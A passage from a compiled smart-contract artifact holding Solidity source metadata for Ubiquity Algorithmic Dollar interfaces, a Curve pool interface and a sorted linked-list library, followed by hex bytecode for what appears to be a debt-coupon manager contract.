remove_liquidity(\\n uint256 _burn_amount,\\n uint256[2] memory _min_amounts,\\n address _receiver\\n ) external returns (uint256[2] memory);\\n\\n function remove_liquidity_imbalance(\\n uint256[2] memory _amounts,\\n uint256 _max_burn_amount\\n ) external returns (uint256);\\n\\n function remove_liquidity_imbalance(\\n uint256[2] memory _amounts,\\n uint256 _max_burn_amount,\\n address _receiver\\n ) external returns (uint256);\\n\\n function calc_withdraw_one_coin(uint256 _burn_amount, int128 i)\\n external\\n view\\n returns (uint256);\\n\\n function calc_withdraw_one_coin(\\n uint256 _burn_amount,\\n int128 i,\\n bool _previous\\n ) external view returns (uint256);\\n\\n function remove_liquidity_one_coin(\\n uint256 _burn_amount,\\n int128 i,\\n uint256 _min_received\\n ) external returns (uint256);\\n\\n function remove_liquidity_one_coin(\\n uint256 _burn_amount,\\n int128 i,\\n uint256 _min_received,\\n address _receiver\\n ) external returns (uint256);\\n\\n function ramp_A(uint256 _future_A, uint256 _future_time) external;\\n\\n function stop_ramp_A() external;\\n\\n function admin_balances(uint256 i) external view returns (uint256);\\n\\n function withdraw_admin_fees() external;\\n\\n function admin() external view returns (address);\\n\\n function coins(uint256 arg0) external view returns (address);\\n\\n function balances(uint256 arg0) external view returns (uint256);\\n\\n function fee() external view returns (uint256);\\n\\n function block_timestamp_last() external view returns (uint256);\\n\\n function initial_A() external view returns (uint256);\\n\\n function future_A() external view returns (uint256);\\n\\n function initial_A_time() external view returns (uint256);\\n\\n function future_A_time() external view returns (uint256);\\n\\n function name() external view returns (string memory);\\n\\n function symbol() external view returns (string memory);\\n\\n function balanceOf(address arg0) external view returns (uint256);\\n\\n function allowance(address arg0, address arg1)\\n external\\n view\\n returns (uint256);\\n\\n function totalSupply() external view returns (uint256);\\n}\\n\",\"keccak256\":\"0xc89cc32a2a8a0336c380ed2ae3c3b5a9292cf1cd431cc09dec4d3057389ed893\",\"license\":\"UNLICENSED\"},\"contracts/interfaces/IUARForDollarsCalculator.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\npragma solidity ^0.8.3;\\n\\n/// @title A mechanism for calculating uAR received for a dollar amount burnt\\ninterface IUARForDollarsCalculator {\\n function getUARAmount(uint256 dollarsToBurn, uint256 blockHeightDebt)\\n external\\n view\\n returns (uint256);\\n}\\n\",\"keccak256\":\"0xee70f36ca865a4f85f7c3ac3e1e7fee925775e23740bf32aeef1849914b6c5c2\",\"license\":\"MIT\"},\"contracts/interfaces/IUbiquityAlgorithmicDollar.sol\":{\"content\":\"// SPDX-License-Identifier: Apache-2.0\\npragma solidity ^0.8.3;\\n\\nimport \\\"./IERC20Ubiquity.sol\\\";\\n\\n/// @title UAD stablecoin interface\\n/// @author Ubiquity Algorithmic Dollar\\ninterface IUbiquityAlgorithmicDollar is IERC20Ubiquity {\\n event IncentiveContractUpdate(\\n address indexed _incentivized,\\n address indexed _incentiveContract\\n );\\n\\n function setIncentiveContract(address account, address incentive) external;\\n\\n function incentiveContract(address account) external view returns (address);\\n}\\n\",\"keccak256\":\"0x34469f12207adbfd6003ce7710ddc7b0ee3c1637b5d7fbac2b35c9e3fe3b6182\",\"license\":\"Apache-2.0\"},\"solidity-linked-list/contracts/StructuredLinkedList.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\ninterface IStructureInterface {\\n function getValue(uint256 _id) external view returns (uint256);\\n}\\n\\n/**\\n * @title StructuredLinkedList\\n * @author Vittorio Minacori (https://github.com/vittominacori)\\n * @dev An utility library for using sorted linked list data structures in your Solidity project.\\n */\\nlibrary StructuredLinkedList {\\n\\n uint256 private constant _NULL = 0;\\n uint256 private constant _HEAD = 0;\\n\\n bool private constant _PREV = false;\\n bool private constant _NEXT = true;\\n\\n struct List {\\n uint256 size;\\n mapping(uint256 => mapping(bool => uint256)) list;\\n }\\n\\n /**\\n * @dev Checks if the list exists\\n * @param self stored linked list from contract\\n * @return bool true if list exists, false otherwise\\n */\\n function listExists(List storage self) internal view returns (bool) {\\n // if the head nodes previous or next pointers both point to itself, then there are no items in the list\\n if (self.list[_HEAD][_PREV] != _HEAD || self.list[_HEAD][_NEXT] != _HEAD) {\\n return true;\\n } else {\\n return false;\\n }\\n }\\n\\n /**\\n * @dev Checks if the node exists\\n * @param self stored linked list from contract\\n * @param _node a node to search for\\n * @return bool true if node exists, false otherwise\\n */\\n function nodeExists(List storage self, uint256 _node) internal view returns (bool) {\\n if (self.list[_node][_PREV] == _HEAD && self.list[_node][_NEXT] == _HEAD) {\\n if (self.list[_HEAD][_NEXT] == _node) {\\n return true;\\n } else {\\n return false;\\n }\\n } else {\\n return true;\\n }\\n }\\n\\n /**\\n * @dev Returns the number of elements in the list\\n * @param self stored linked list from contract\\n * @return uint256\\n */\\n function sizeOf(List storage self) internal view returns (uint256) {\\n return self.size;\\n }\\n\\n /**\\n * @dev Returns the links of a node as a tuple\\n * @param self stored linked list from contract\\n * @param _node id of the node to get\\n * @return bool, uint256, uint256 true if node exists or false otherwise, previous node, next node\\n */\\n function getNode(List storage self, uint256 _node) internal view returns (bool, uint256, uint256) {\\n if (!nodeExists(self, _node)) {\\n return (false, 0, 0);\\n } else {\\n return (true, self.list[_node][_PREV], self.list[_node][_NEXT]);\\n }\\n }\\n\\n /**\\n * @dev Returns the link of a node `_node` in direction `_direction`.\\n * @param self stored linked list from contract\\n * @param _node id of the node to step from\\n * @param _direction direction to step in\\n * @return bool, uint256 true if node exists or false otherwise, node in _direction\\n */\\n function getAdjacent(List storage self, uint256 _node, bool _direction) internal view returns (bool, uint256) {\\n if (!nodeExists(self, _node)) {\\n return (false, 0);\\n } else {\\n return (true, self.list[_node][_direction]);\\n }\\n }\\n\\n /**\\n * @dev Returns the link of a node `_node` in direction `_NEXT`.\\n * @param self stored linked list from contract\\n * @param _node id of the node to step from\\n * @return bool, uint256 true if node exists or false otherwise, next node\\n */\\n function getNextNode(List storage self, uint256 _node) internal view returns (bool, uint256) {\\n return getAdjacent(self, _node, _NEXT);\\n }\\n\\n /**\\n * @dev Returns the link of a node `_node` in direction `_PREV`.\\n * @param self stored linked list from contract\\n * @param _node id of the node to step from\\n * @return bool, uint256 true if node exists or false otherwise, previous node\\n */\\n function getPreviousNode(List storage self, uint256 _node) internal view returns (bool, uint256) {\\n return getAdjacent(self, _node, _PREV);\\n }\\n\\n /**\\n * @dev Can be used before `insert` to build an ordered list.\\n * @dev Get the node and then `insertBefore` or `insertAfter` basing on your list order.\\n * @dev If you want to order basing on other than `structure.getValue()` override this function\\n * @param self stored linked list from contract\\n * @param _structure the structure instance\\n * @param _value value to seek\\n * @return uint256 next node with a value less than _value\\n */\\n function getSortedSpot(List storage self, address _structure, uint256 _value) internal view returns (uint256) {\\n if (sizeOf(self) == 0) {\\n return 0;\\n }\\n\\n uint256 next;\\n (, next) = getAdjacent(self, _HEAD, _NEXT);\\n while ((next != 0) && ((_value < IStructureInterface(_structure).getValue(next)) != _NEXT)) {\\n next = self.list[next][_NEXT];\\n }\\n return next;\\n }\\n\\n /**\\n * @dev Insert node `_new` beside existing node `_node` in direction `_NEXT`.\\n * @param self stored linked list from contract\\n * @param _node existing node\\n * @param _new new node to insert\\n * @return bool true if success, false otherwise\\n */\\n function insertAfter(List storage self, uint256 _node, uint256 _new) internal returns (bool) {\\n return _insert(self, _node, _new, _NEXT);\\n }\\n\\n /**\\n * @dev Insert node `_new` beside existing node `_node` in direction `_PREV`.\\n * @param self stored linked list from contract\\n * @param _node existing node\\n * @param _new new node to insert\\n * @return bool true if success, false otherwise\\n */\\n function insertBefore(List storage self, uint256 _node, uint256 _new) internal returns (bool) {\\n return _insert(self, _node, _new, _PREV);\\n }\\n\\n /**\\n * @dev Removes an entry from the linked list\\n * @param self stored linked list from contract\\n * @param _node node to remove from the list\\n * @return uint256 the removed node\\n */\\n function remove(List storage self, uint256 _node) internal returns (uint256) {\\n if ((_node == _NULL) || (!nodeExists(self, _node))) {\\n return 0;\\n }\\n _createLink(self, self.list[_node][_PREV], self.list[_node][_NEXT], _NEXT);\\n delete self.list[_node][_PREV];\\n delete self.list[_node][_NEXT];\\n\\n self.size -= 1; // NOT: SafeMath library should be used here to decrement.\\n\\n return _node;\\n }\\n\\n /**\\n * @dev Pushes an entry to the head of the linked list\\n * @param self stored linked list from contract\\n * @param _node new entry to push to the head\\n * @return bool true if success, false otherwise\\n */\\n function pushFront(List storage self, uint256 _node) internal returns (bool) {\\n return _push(self, _node, _NEXT);\\n }\\n\\n /**\\n * @dev Pushes an entry to the tail of the linked list\\n * @param self stored linked list from contract\\n * @param _node new entry to push to the tail\\n * @return bool true if success, false otherwise\\n */\\n function pushBack(List storage self, uint256 _node) internal returns (bool) {\\n return _push(self, _node, _PREV);\\n }\\n\\n /**\\n * @dev Pops the first entry from the head of the linked list\\n * @param self stored linked list from contract\\n * @return uint256 the removed node\\n */\\n function popFront(List storage self) internal returns (uint256) {\\n return _pop(self, _NEXT);\\n }\\n\\n /**\\n * @dev Pops the first entry from the tail of the linked list\\n * @param self stored linked list from contract\\n * @return uint256 the removed node\\n */\\n function popBack(List storage self) internal returns (uint256) {\\n return _pop(self, _PREV);\\n }\\n\\n /**\\n * @dev Pushes an entry to the head of the linked list\\n * @param self stored linked list from contract\\n * @param _node new entry to push to the head\\n * @param _direction push to the head (_NEXT) or tail (_PREV)\\n * @return bool true if success, false otherwise\\n */\\n function _push(List storage self, uint256 _node, bool _direction) private returns (bool) {\\n return _insert(self, _HEAD, _node, _direction);\\n }\\n\\n /**\\n * @dev Pops the first entry from the linked list\\n * @param self stored linked list from contract\\n * @param _direction pop from the head (_NEXT) or the tail (_PREV)\\n * @return uint256 the removed node\\n */\\n function _pop(List storage self, bool _direction) private returns (uint256) {\\n uint256 adj;\\n (, adj) = getAdjacent(self, _HEAD, _direction);\\n return remove(self, adj);\\n }\\n\\n /**\\n * @dev Insert node `_new` beside existing node `_node` in direction `_direction`.\\n * @param self stored linked list from contract\\n * @param _node existing node\\n * @param _new new node to insert\\n * @param _direction direction to insert node in\\n * @return bool true if success, false otherwise\\n */\\n function _insert(List storage self, uint256 _node, uint256 _new, bool _direction) private returns (bool) {\\n if (!nodeExists(self, _new) && nodeExists(self, _node)) {\\n uint256 c = self.list[_node][_direction];\\n _createLink(self, _node, _new, _direction);\\n _createLink(self, _new, c, _direction);\\n\\n self.size += 1; // NOT: SafeMath library should be used here to increment.\\n\\n return true;\\n }\\n\\n return false;\\n }\\n\\n /**\\n * @dev Creates a bidirectional link between two nodes on direction `_direction`\\n * @param self stored linked list from contract\\n * @param _node existing node\\n * @param _link node to link to in the _direction\\n * @param _direction direction to insert node in\\n */\\n function _createLink(List storage self, uint256 _node, uint256 _link, bool _direction) private {\\n self.list[_link][!_direction] = _node;\\n self.list[_node][_direction] = _link;\\n }\\n}\\n\",\"keccak256\":\"0x3fc4b299c4950243c0d585247dd0d4c49ed576a663cb6e3a16a2ebe979ffbe0e\",\"license\":\"MIT\"}},\"version\":1}", - "bytecode": "0x608060405260026005553480156200001657600080fd5b506040516200319a3803806200319a833981016040819052620000399162000063565b600080546001600160a01b0319166001600160a01b0393909316929092179091556004556200009d565b6000806040838503121562000076578182fd5b82516001600160a01b03811681146200008d578283fd5b6020939093015192949293505050565b6130ed80620000ad6000396000f3fe608060405234801561001057600080fd5b506004361061016c5760003560e01c8063816dbc4a116100cd578063bdd5d4b211610081578063cfc893fd11610066578063cfc893fd146102ee578063d6a9cf0814610301578063f23a6e61146103145761016c565b8063bdd5d4b2146102d2578063be30446d146102db5761016c565b806399c62889116100b257806399c6288914610277578063aac8e39a1461028a578063bc197c811461029d5761016c565b8063816dbc4a1461025b57806384800d651461026e5761016c565b80632565aa42116101245780634c5cac58116101095780634c5cac581461022c57806367a6847d146102355780636938c414146102485761016c565b80632565aa42146101f7578063481c6a75146102015761016c565b80630cb03046116101555780630cb03046146101c45780631adb4d32146101d75780631ce83f50146101ea5761016c565b806301ffc9a71461017157806302127499146101ad575b600080fd5b61019861017f366004613002565b6001600160e01b031981166301ffc9a760e01b14919050565b60405190151581526020015b60405180910390f35b6101b660055481565b6040519081526020016101a4565b6101b66101d236600461302a565b610327565b6101b66101e536600461302a565b6107bb565b6002546101989060ff1681565b6101ff610c1c565b005b600054610214906001600160a01b031681565b6040516001600160a01b0390911681526020016101a4565b6101b660035481565b6101b661024336600461302a565b6112e8565b6101b6610256366004613042565b6116e5565b6101ff61026936600461302a565b611ad1565b6101b660045481565b6101b6610285366004613042565b611c59565b6101b661029836600461302a565b611f5d565b6102b96102ab366004612e95565b600098975050505050505050565b6040516001600160e01b031990911681526020016101a4565b6101b660015481565b6101b66102e936600461302a565b612068565b6101ff6102fc36600461302a565b612115565b6101b661030f366004613042565b61229d565b6102b9610322366004612f50565b612a46565b600080610332612b84565b9050670de0b6b3a7640000811161039c5760405162461bcd60e51b8152602060048201526024808201527f5072696365206d7573742062652061626f7665203120746f206175746f2072656044820152636465656d60e01b60648201526084015b60405180910390fd5b60025460ff16156103b2576002805460ff191690555b60008060009054906101000a90046001600160a01b03166001600160a01b0316633ae3d9a46040518163ffffffff1660e01b815260040160206040518083038186803b15801561040157600080fd5b505afa158015610415573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104399190612e79565b6040516370a0823160e01b815233600482015290915084906001600160a01b038316906370a082319060240160206040518083038186803b15801561047d57600080fd5b505afa158015610491573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104b59190612fea565b10156105295760405162461bcd60e51b815260206004820152603160248201527f5573657220646f65736e2774206861766520656e6f756768206175746f20726560448201527f6465656d20706f6f6c20746f6b656e732e0000000000000000000000000000006064820152608401610393565b60008060009054906101000a90046001600160a01b03166001600160a01b031663bc3ea0186040518163ffffffff1660e01b815260040160206040518083038186803b15801561057857600080fd5b505afa15801561058c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105b09190612e79565b6040516370a0823160e01b81523060048201529091506000906001600160a01b038316906370a082319060240160206040518083038186803b1580156105f557600080fd5b505afa158015610609573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061062d9190612fea565b9050600081116106b95761063f610c1c565b6040516370a0823160e01b81523060048201526001600160a01b038316906370a082319060240160206040518083038186803b15801561067e57600080fd5b505afa158015610692573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106b69190612fea565b90505b85818111156106c55750805b60405163079cc67960e41b8152336004820152602481018290526001600160a01b038516906379cc679090604401600060405180830381600087803b15801561070d57600080fd5b505af1158015610721573d6000803e3d6000fd5b505060405163a9059cbb60e01b8152336004820152602481018490526001600160a01b038616925063a9059cbb9150604401602060405180830381600087803b15801561076d57600080fd5b505af1158015610781573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107a59190612fca565b506107b0818861309b565b979650505050505050565b6000806107c6612b84565b9050670de0b6b3a764000081106108295760405162461bcd60e51b815260206004820152602160248201527f5072696365206d7573742062652062656c6f77203120746f206d696e742075416044820152602960f91b6064820152608401610393565b60008060009054906101000a90046001600160a01b03166001600160a01b03166356593ea36040518163ffffffff1660e01b815260040160206040518083038186803b15801561087857600080fd5b505afa15801561088c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108b09190612e79565b9050806001600160a01b031663f7ffe84a6040518163ffffffff1660e01b8152600401600060405180830381600087803b1580156108ed57600080fd5b505af1158015610901573d6000803e3d6000fd5b505060025460ff16915061092a9050576002805460ff1916600190811790915543600355600090555b60008060009054906101000a90046001600160a01b03166001600160a01b031663749cface6040518163ffffffff1660e01b815260040160206040518083038186803b15801561097957600080fd5b505afa15801561098d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109b19190612e79565b600354604051633667d85960e01b81529192506000916001600160a01b03841691633667d859916109ef918a91600401918252602082015260400190565b60206040518083038186803b158015610a0757600080fd5b505afa158015610a1b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a3f9190612fea565b905060008054906101000a90046001600160a01b03166001600160a01b031663bc3ea0186040518163ffffffff1660e01b815260040160206040518083038186803b158015610a8d57600080fd5b505afa158015610aa1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ac59190612e79565b60405163079cc67960e41b8152336004820152602481018890526001600160a01b0391909116906379cc679090604401600060405180830381600087803b158015610b0f57600080fd5b505af1158015610b23573d6000803e3d6000fd5b5050505060008060009054906101000a90046001600160a01b03166001600160a01b0316633ae3d9a46040518163ffffffff1660e01b815260040160206040518083038186803b158015610b7657600080fd5b505afa158015610b8a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bae9190612e79565b6040516340c10f1960e01b8152336004820152602481018490529091506001600160a01b038216906340c10f1990604401600060405180830381600087803b158015610bf957600080fd5b505af1158015610c0d573d6000803e3d6000fd5b50939998505050505050505050565b60008060009054906101000a90046001600160a01b03166001600160a01b03166356593ea36040518163ffffffff1660e01b815260040160206040518083038186803b158015610c6b57600080fd5b505afa158015610c7f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ca39190612e79565b9050806001600160a01b031663f7ffe84a6040518163ffffffff1660e01b8152600401600060405180830381600087803b158015610ce057600080fd5b505af1158015610cf4573d6000803e3d6000fd5b5050505060008060009054906101000a90046001600160a01b03166001600160a01b03166359f6deac6040518163ffffffff1660e01b815260040160206040518083038186803b158015610d4757600080fd5b505afa158015610d5b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d7f9190612e79565b6001600160a01b031663764263cf6040518163ffffffff1660e01b815260040160206040518083038186803b158015610db757600080fd5b505afa158015610dcb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610def9190612fea565b9050600060015482610e01919061309b565b90508160018190555060008060009054906101000a90046001600160a01b03166001600160a01b031663bc3ea0186040518163ffffffff1660e01b815260040160206040518083038186803b158015610e5957600080fd5b505afa158015610e6d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e919190612e79565b6040516340c10f1960e01b8152306004820152602481018490529091506001600160a01b038216906340c10f1990604401600060405180830381600087803b158015610edc57600080fd5b505af1158015610ef0573d6000803e3d6000fd5b5050505060008060009054906101000a90046001600160a01b03166001600160a01b0316633ae3d9a46040518163ffffffff1660e01b815260040160206040518083038186803b158015610f4357600080fd5b505afa158015610f57573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f7b9190612e79565b6040516370a0823160e01b81523060048201529091506000906001600160a01b038416906370a082319060240160206040518083038186803b158015610fc057600080fd5b505afa158015610fd4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ff89190612fea565b90506000826001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561103557600080fd5b505afa158015611049573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061106d9190612fea565b876001600160a01b031663db87b1ff6040518163ffffffff1660e01b815260040160206040518083038186803b1580156110a657600080fd5b505afa1580156110ba573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110de9190612fea565b6110e89190613063565b9050808211156112df5760006110fe828461309b565b60008054604051632bbdaf8f60e21b815230600482015292935090916001600160a01b039091169063aef6be3c9060240160206040518083038186803b15801561114757600080fd5b505afa15801561115b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061117f9190612e79565b600054604051632bbdaf8f60e21b81523060048201529192506001600160a01b038881169263a9059cbb92919091169063aef6be3c9060240160206040518083038186803b1580156111d057600080fd5b505afa1580156111e4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112089190612e79565b6040516001600160e01b031960e084901b1681526001600160a01b03909116600482015260248101859052604401602060405180830381600087803b15801561125057600080fd5b505af1158015611264573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112889190612fca565b50806001600160a01b031663651156bc6040518163ffffffff1660e01b8152600401600060405180830381600087803b1580156112c457600080fd5b505af11580156112d8573d6000803e3d6000fd5b5050505050505b50505050505050565b6000806112f3612b84565b9050670de0b6b3a764000081106113725760405162461bcd60e51b815260206004820152602560248201527f5072696365206d7573742062652062656c6f77203120746f206d696e7420636f60448201527f75706f6e730000000000000000000000000000000000000000000000000000006064820152608401610393565b60008060009054906101000a90046001600160a01b03166001600160a01b03166356593ea36040518163ffffffff1660e01b815260040160206040518083038186803b1580156113c157600080fd5b505afa1580156113d5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113f99190612e79565b9050806001600160a01b031663f7ffe84a6040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561143657600080fd5b505af115801561144a573d6000803e3d6000fd5b505060025460ff1691506114739050576002805460ff1916600190811790915543600355600090555b60008060009054906101000a90046001600160a01b03166001600160a01b0316633e916ced6040518163ffffffff1660e01b815260040160206040518083038186803b1580156114c257600080fd5b505afa1580156114d6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114fa9190612e79565b604051639172dd2360e01b8152600481018790529091506000906001600160a01b03831690639172dd239060240160206040518083038186803b15801561154057600080fd5b505afa158015611554573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115789190612fea565b905060008054906101000a90046001600160a01b03166001600160a01b031663bc3ea0186040518163ffffffff1660e01b815260040160206040518083038186803b1580156115c657600080fd5b505afa1580156115da573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115fe9190612e79565b60405163079cc67960e41b8152336004820152602481018890526001600160a01b0391909116906379cc679090604401600060405180830381600087803b15801561164857600080fd5b505af115801561165c573d6000803e3d6000fd5b505050506000600454436116709190613063565b60405163e71fc58f60e01b815233600482015260248101849052604481018290529091506001600160a01b0385169063e71fc58f90606401600060405180830381600087803b1580156116c257600080fd5b505af11580156116d6573d6000803e3d6000fd5b50929998505050505050505050565b60008054604080516356593ea360e01b8152905183926001600160a01b0316916356593ea3916004808301926020929190829003018186803b15801561172a57600080fd5b505afa15801561173e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117629190612e79565b90504284116117b35760405162461bcd60e51b815260206004820152601260248201527f436f75706f6e20686173206578706972656400000000000000000000000000006044820152606401610393565b604051627eeac760e11b81523360048201526024810185905283906001600160a01b0383169062fdd58e9060440160206040518083038186803b1580156117f957600080fd5b505afa15801561180d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118319190612fea565b101561187f5760405162461bcd60e51b815260206004820152601760248201527f55736572206e6f7420656e6f75676820636f75706f6e730000000000000000006044820152606401610393565b60405163738f0cf160e01b815233600482015260248101849052604481018590526001600160a01b0382169063738f0cf190606401600060405180830381600087803b1580156118ce57600080fd5b505af11580156118e2573d6000803e3d6000fd5b5050505060008060009054906101000a90046001600160a01b03166001600160a01b0316633ae3d9a46040518163ffffffff1660e01b815260040160206040518083038186803b15801561193557600080fd5b505afa158015611949573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061196d9190612e79565b6040516340c10f1960e01b8152306004820152602481018690529091506001600160a01b038216906340c10f1990604401600060405180830381600087803b1580156119b857600080fd5b505af11580156119cc573d6000803e3d6000fd5b505060405163a9059cbb60e01b8152336004820152602481018790526001600160a01b038416925063a9059cbb9150604401602060405180830381600087803b158015611a1857600080fd5b505af1158015611a2c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a509190612fca565b506040516370a0823160e01b81523360048201526001600160a01b038216906370a082319060240160206040518083038186803b158015611a9057600080fd5b505afa158015611aa4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ac89190612fea565b95945050505050565b6000546040805163520eeb7360e11b815290516001600160a01b03909216916391d1485491839163a41dd6e691600480820192602092909190829003018186803b158015611b1e57600080fd5b505afa158015611b32573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b569190612fea565b6040516001600160e01b031960e084901b168152600481019190915233602482015260440160206040518083038186803b158015611b9357600080fd5b505afa158015611ba7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611bcb9190612fca565b611c175760405162461bcd60e51b815260206004820152601e60248201527f43616c6c6572206973206e6f74206120636f75706f6e206d616e6167657200006044820152606401610393565b6004546040805183815260208101929092527f8d7edb0d3221793a3dbc5e9eb8bddfa027f936dcaac6116cc52319396a2026f9910160405180910390a1600455565b60008054604080516356593ea360e01b8152905183926001600160a01b0316916356593ea3916004808301926020929190829003018186803b158015611c9e57600080fd5b505afa158015611cb2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611cd69190612e79565b905043841115611d285760405162461bcd60e51b815260206004820152601660248201527f436f75706f6e20686173206e6f742065787069726564000000000000000000006044820152606401610393565b604051627eeac760e11b81523360048201526024810185905283906001600160a01b0383169062fdd58e9060440160206040518083038186803b158015611d6e57600080fd5b505afa158015611d82573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611da69190612fea565b1015611df45760405162461bcd60e51b815260206004820152601760248201527f55736572206e6f7420656e6f75676820636f75706f6e730000000000000000006044820152606401610393565b60405163738f0cf160e01b815233600482015260248101849052604481018590526001600160a01b0382169063738f0cf190606401600060405180830381600087803b158015611e4357600080fd5b505af1158015611e57573d6000803e3d6000fd5b5050505060008060009054906101000a90046001600160a01b03166001600160a01b031663b42165d06040518163ffffffff1660e01b815260040160206040518083038186803b158015611eaa57600080fd5b505afa158015611ebe573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ee29190612e79565b905060055484611ef2919061307b565b6040516340c10f1960e01b8152336004820152602481018290529093506001600160a01b038216906340c10f1990604401600060405180830381600087803b158015611f3d57600080fd5b505af1158015611f51573d6000803e3d6000fd5b50505050505092915050565b6000805460408051633a4e7d6760e11b8152905183926001600160a01b03169163749cface916004808301926020929190829003018186803b158015611fa257600080fd5b505afa158015611fb6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fda9190612e79565b600354604051633667d85960e01b81526004810186905260248101919091529091506001600160a01b03821690633667d859906044015b60206040518083038186803b15801561202957600080fd5b505afa15801561203d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906120619190612fea565b9392505050565b6000805460408051633e916ced60e01b8152905183926001600160a01b031691633e916ced916004808301926020929190829003018186803b1580156120ad57600080fd5b505afa1580156120c1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906120e59190612e79565b604051639172dd2360e01b8152600481018590529091506001600160a01b03821690639172dd2390602401612011565b6000546040805163520eeb7360e11b815290516001600160a01b03909216916391d1485491839163a41dd6e691600480820192602092909190829003018186803b15801561216257600080fd5b505afa158015612176573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061219a9190612fea565b6040516001600160e01b031960e084901b168152600481019190915233602482015260440160206040518083038186803b1580156121d757600080fd5b505afa1580156121eb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061220f9190612fca565b61225b5760405162461bcd60e51b815260206004820152601e60248201527f43616c6c6572206973206e6f74206120636f75706f6e206d616e6167657200006044820152606401610393565b6005546040805183815260208101929092527f6d4a1070b746d33746be28d0b5f40e4196cbd7ada8fcb77191f0a9209ae41a63910160405180910390a1600555565b6000806122a8612b84565b9050670de0b6b3a764000081116123275760405162461bcd60e51b815260206004820152602760248201527f5072696365206d7573742062652061626f7665203120746f2072656465656d2060448201527f636f75706f6e73000000000000000000000000000000000000000000000000006064820152608401610393565b60025460ff161561233d576002805460ff191690555b60008060009054906101000a90046001600160a01b03166001600160a01b03166356593ea36040518163ffffffff1660e01b815260040160206040518083038186803b15801561238c57600080fd5b505afa1580156123a0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906123c49190612e79565b90504385116124155760405162461bcd60e51b815260206004820152601260248201527f436f75706f6e20686173206578706972656400000000000000000000000000006044820152606401610393565b604051627eeac760e11b81523360048201526024810186905284906001600160a01b0383169062fdd58e9060440160206040518083038186803b15801561245b57600080fd5b505afa15801561246f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906124939190612fea565b10156124e15760405162461bcd60e51b815260206004820152601760248201527f55736572206e6f7420656e6f75676820636f75706f6e730000000000000000006044820152606401610393565b6124e9610c1c565b60008060009054906101000a90046001600160a01b03166001600160a01b031663bc3ea0186040518163ffffffff1660e01b815260040160206040518083038186803b15801561253857600080fd5b505afa15801561254c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906125709190612e79565b905060008060009054906101000a90046001600160a01b03166001600160a01b0316633ae3d9a46040518163ffffffff1660e01b815260040160206040518083038186803b1580156125c157600080fd5b505afa1580156125d5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906125f99190612e79565b6040516370a0823160e01b81523060048201529091506001600160a01b038316906370a082319060240160206040518083038186803b15801561263b57600080fd5b505afa15801561264f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906126739190612fea565b816001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b1580156126ac57600080fd5b505afa1580156126c0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906126e49190612fea565b11156127585760405162461bcd60e51b815260206004820152602b60248201527f5468657265206172656e277420656e6f7567682075414420746f20726564656560448201527f6d2063757272656e746c790000000000000000000000000000000000000000006064820152608401610393565b6000816001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561279357600080fd5b505afa1580156127a7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906127cb9190612fea565b6040516370a0823160e01b81523060048201526001600160a01b038516906370a082319060240160206040518083038186803b15801561280a57600080fd5b505afa15801561281e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906128429190612fea565b61284c919061309b565b9050868181111561285a5750805b6040516370a0823160e01b81523060048201526000906001600160a01b038616906370a082319060240160206040518083038186803b15801561289c57600080fd5b505afa1580156128b0573d6000803e3d6000f